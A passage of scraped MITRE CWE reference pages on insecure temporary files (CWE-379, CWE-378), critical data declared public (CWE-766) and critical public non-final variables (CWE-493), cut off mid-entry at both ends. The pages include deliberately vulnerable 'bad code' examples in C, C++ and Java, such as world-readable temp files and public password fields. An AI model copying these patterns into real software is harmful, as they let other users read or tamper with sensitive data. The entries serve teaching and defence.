Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsDirectory Restriction
Software Fault PatternsSFP17Failed chroot jail
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Background_Details, Description, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Description
2009-03-10CWE Content TeamMITRE
updated Demonstrative_Examples
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2010-12-13CWE Content TeamMITRE
updated Demonstrative_Examples, Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Affected_Resources, Causal_Nature, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated References
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-01-30Directory Restriction
2010-12-13Failure to Change Working Directory in chroot Jail

CWE-379: Creation of Temporary File in Directory with Insecure Permissions

Weakness ID: 379
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product creates a temporary file in a directory whose permissions allow unintended actors to determine the file's existence or otherwise access that file.
+ Extended Description
On some operating systems, the fact that the temporary file exists may be apparent to any user with sufficient privileges to access that directory. Since the file is visible, the application that is using the temporary file could be known. If one has access to list the processes on the system, the attacker has gained information about what the user is doing at that time. By correlating this with the applications the user is running, an attacker could potentially discover what a user's actions are. From this, higher levels of security could be breached.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.377Insecure Temporary File
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1219File Handling Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

Since the file is visible and the application which is using the temp file could be known, the attacker has gained information about what the user is doing at that time.
+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

In the following code examples a temporary file is created and written to. After using the temporary file, the file is closed and deleted from the file system.

(bad code)
Example Language:
FILE *stream;
if( (stream = tmpfile()) == NULL ) {

perror("Could not open new temporary file\n");
return (-1);
}
// write data to tmp file
...
// remove tmp file
rmtmp();

However, within this C/C++ code the method tmpfile() is used to create and open the temp file. The tmpfile() method works the same way as the fopen() method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.

(bad code)
Example Language: Java 
try {
File temp = File.createTempFile("pattern", ".suffix");
temp.deleteOnExit();
BufferedWriter out = new BufferedWriter(new FileWriter(temp));
out.write("aString");
out.close();
}
catch (IOException e) {
}

Similarly, the createTempFile() method used in the Java code creates a temp file that may be readable and writable to all users.

Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually "/tmp" or "/var/tmp" and on Windows systems the default directory is usually "C:\\Windows\\Temp", which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.

+ Observed Examples
ReferenceDescription
A hotkey daemon written in Rust creates a domain socket file underneath /tmp, which is accessible by any user.
A Java-based application for a rapid-development framework uses File.createTempFile() to create a random temporary file with insecure default permissions.
+ Potential Mitigations

Phase: Requirements

Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.

Phase: Implementation

Try to store sensitive tempfiles in a directory which is not world readable -- i.e., per-user directories.

Phase: Implementation

Avoid using vulnerable temp file functions.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.964SFP Secondary Cluster: Exposure Temporary File
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPGuessed or visible temporary file
CERT C Secure CodingFIO15-CEnsure that file operations are performed in a secure directory
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Temporary Files", Page 538. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Description, Name
2009-07-27CWE Content TeamMITRE
updated Description, Other_Notes, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Type
2020-02-24CWE Content TeamMITRE
updated Name, References, Relationships, Type
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Guessed or Visible Temporary File
2009-05-27Creation of Temporary File in Directory with Insecure Permissions
2020-02-24Creation of Temporary File in Directory with Incorrect Permissions

CWE-378: Creation of Temporary File With Insecure Permissions

Weakness ID: 378
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Opening temporary files without appropriate measures or controls can leave the file, its contents and any function that it impacts vulnerable to attack.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.377Insecure Temporary File
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1219File Handling Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

If the temporary file can be read by the attacker, sensitive information may be in that file which could be revealed.
Authorization
Other

Technical Impact: Other

If that file can be written to by the attacker, the file might be moved into a place to which the attacker does not have access. This will allow the attacker to gain selective resource access-control privileges.
Integrity
Other

Technical Impact: Other

Depending on the data stored in the temporary file, there is the potential for an attacker to gain an additional input vector which is trusted as non-malicious. It may be possible to make arbitrary changes to data structures, user information, or even process ownership.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

In the following code examples a temporary file is created and written to. After using the temporary file, the file is closed and deleted from the file system.

(bad code)
Example Language:
FILE *stream;
if( (stream = tmpfile()) == NULL ) {

perror("Could not open new temporary file\n");
return (-1);
}
// write data to tmp file
...
// remove tmp file
rmtmp();

However, within this C/C++ code the method tmpfile() is used to create and open the temp file. The tmpfile() method works the same way as the fopen() method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.

(bad code)
Example Language: Java 
try {
File temp = File.createTempFile("pattern", ".suffix");
temp.deleteOnExit();
BufferedWriter out = new BufferedWriter(new FileWriter(temp));
out.write("aString");
out.close();
}
catch (IOException e) {
}

Similarly, the createTempFile() method used in the Java code creates a temp file that may be readable and writable to all users.

Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually "/tmp" or "/var/tmp" and on Windows systems the default directory is usually "C:\\Windows\\Temp", which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.

+ Observed Examples
ReferenceDescription
A network application framework uses the Java function createTempFile(), which will create a file that is readable by other local users of the system
+ Potential Mitigations

Phase: Requirements

Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.

Phase: Implementation

Ensure that you use proper file permissions. This can be achieved by using a safe temp file function. Temporary files should be writable and readable only by the process that owns the file.

Phase: Implementation

Randomize temporary file names. This can also be achieved by using a safe temp-file function. This will ensure that temporary files will not be created in predictable places.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.964SFP Secondary Cluster: Exposure Temporary File
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPImproper temp file opening
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Improper Temporary File Opening

CWE-766: Critical Data Element Declared Public

Weakness ID: 766
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product declares a critical variable, field, or member to be public when intended security policy requires it to be private.
+ Extended Description

This issue makes it more difficult to maintain the product, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.1061Insufficient Encapsulation
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.732Incorrect Permission Assignment for Critical Resource
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.275Permission Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C++ (Undetermined Prevalence)

C# (Undetermined Prevalence)

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality

Technical Impact: Read Application Data; Modify Application Data

Making a critical variable public allows anyone with access to the object in which the variable is contained to alter or read the value.
Other

Technical Impact: Reduce Maintainability

+ Demonstrative Examples

Example 1

The following example declares a critical variable public, making it accessible to anyone with access to the object in which it is contained.

(bad code)
Example Language: C++ 
public: char* password;

Instead, the critical data should be declared private.

(good code)
Example Language: C++ 
private: char* password;

Even though this example declares the password to be private, there are other possible issues with this implementation, such as the possibility of recovering the password from process memory (CWE-257).

Example 2

The following example shows a basic user account class that includes member variables for the username and password as well as a public constructor for the class and a public method to authorize access to the user account.

(bad code)
Example Language: C++ 
#define MAX_PASSWORD_LENGTH 15
#define MAX_USERNAME_LENGTH 15

class UserAccount
{
public:
UserAccount(char *username, char *password)
{
if ((strlen(username) > MAX_USERNAME_LENGTH) ||
(strlen(password) > MAX_PASSWORD_LENGTH)) {
ExitError("Invalid username or password");
}
strcpy(this->username, username);
strcpy(this->password, password);
}


int authorizeAccess(char *username, char *password)
{
if ((strlen(username) > MAX_USERNAME_LENGTH) ||
(strlen(password) > MAX_PASSWORD_LENGTH)) {
ExitError("Invalid username or password");
}
// if the username and password in the input parameters are equal to

// the username and password of this account class then authorize access
if (strcmp(this->username, username) ||
strcmp(this->password, password))
return 0;

// otherwise do not authorize access
else
return 1;
}

char username[MAX_USERNAME_LENGTH+1];
char password[MAX_PASSWORD_LENGTH+1];
};

However, the member variables username and password are declared public and therefore will allow access and changes to the member variables to anyone with access to the object. These member variables should be declared private as shown below to prevent unauthorized access and changes.

(good code)
Example Language: C++ 
class UserAccount
{
public:
...


private:
char username[MAX_USERNAME_LENGTH+1];
char password[MAX_PASSWORD_LENGTH+1];
};
+ Observed Examples
ReferenceDescription
variables declared public allow remote read of system properties such as user name and home directory.
+ Potential Mitigations

Phase: Implementation

Data should be private, static, and final whenever possible. This will assure that your code is protected by instantiating early, preventing access, and preventing tampering.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.849The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1002SFP Secondary Cluster: Unexpected Entry Points
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1130CISQ Quality Measures (2016) - Maintainability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1139SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPFailure to protect stored data from modification
The CERT Oracle Secure Coding Standard for Java (2011)OBJ01-JDeclare data members as private and provide accessible wrapper methods
Software Fault PatternsSFP28Unexpected access points
OMG ASCMMASCMM-MNT-15
+ References
[REF-960] Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". ASCMM-MNT-15. 2016-01. <https://www.omg.org/spec/ASCMM/>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-03-03
(CWE 1.4, 2009-05-27)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples
2010-12-13CWE Content TeamMITRE
updated Observed_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Likelihood_of_Exploit, Relationships
2019-01-03CWE Content TeamMITRE
updated Common_Consequences, Description, Name, References, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships, Time_of_Introduction, Type
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2019-01-03Critical Variable Declared Public

CWE-493: Critical Public Variable Without Final Modifier

Weakness ID: 493
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product has a critical public variable that is not final, which allows the variable to be modified to contain unexpected values.
+ Extended Description
If a field is non-final and public, it can be changed once the value is set by any function that has access to the class which contains the field. This could lead to a vulnerability if other parts of the program make assumptions about the contents of that field.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.500Public Static Field Not Marked Final
+ Background Details
Mobile code, such as a Java Applet, is code that is transmitted across a network and executed on a remote machine. Because mobile code developers have little if any control of the environment in which their code will execute, special security concerns become relevant. One of the biggest environmental threats results from the risk that the mobile code will run side-by-side with other, potentially malicious, mobile code. Because all of the popular web browsers execute code from multiple sources together in the same JVM, many of the security guidelines for mobile code are focused on preventing manipulation of your objects' state and behavior by adversaries who have access to the same virtual machine where your program is running. Final provides security by only allowing non-mutable objects to be changed after being set. However, only objects which are not extended can be made final.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Application Data

The object could potentially be tampered with.
Confidentiality

Technical Impact: Read Application Data

The object could potentially allow the object to be read.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

Suppose this WidgetData class is used for an e-commerce web site. The programmer attempts to prevent price-tampering attacks by setting the price of the widget using the constructor.

(bad code)
Example Language: Java 
public final class WidgetData extends Applet {
public float price;
...
public WidgetData(...) {
this.price = LookupPrice("MyWidgetType");
}
}

The price field is not final. Even though the value is set by the constructor, it could be modified by anybody that has access to an instance of WidgetData.

Example 2

Assume the following code is intended to provide the location of a configuration file that controls execution of the application.

(bad code)
Example Language: C++ 
public string configPath = "/etc/application/config.dat";
(bad code)
Example Language: Java 
public String configPath = new String("/etc/application/config.dat");

While this field is readable from any function, and thus might allow an information leak of a pathname, a more serious problem is that it can be changed by any function.

+ Potential Mitigations

Phase: Implementation

Declare all public fields as final when possible, especially if it is used to maintain internal state of an Applet or of classes used by an Applet. If a field must be public, then perform all appropriate sanity checks before accessing the field from your code.
+ Detection Methods

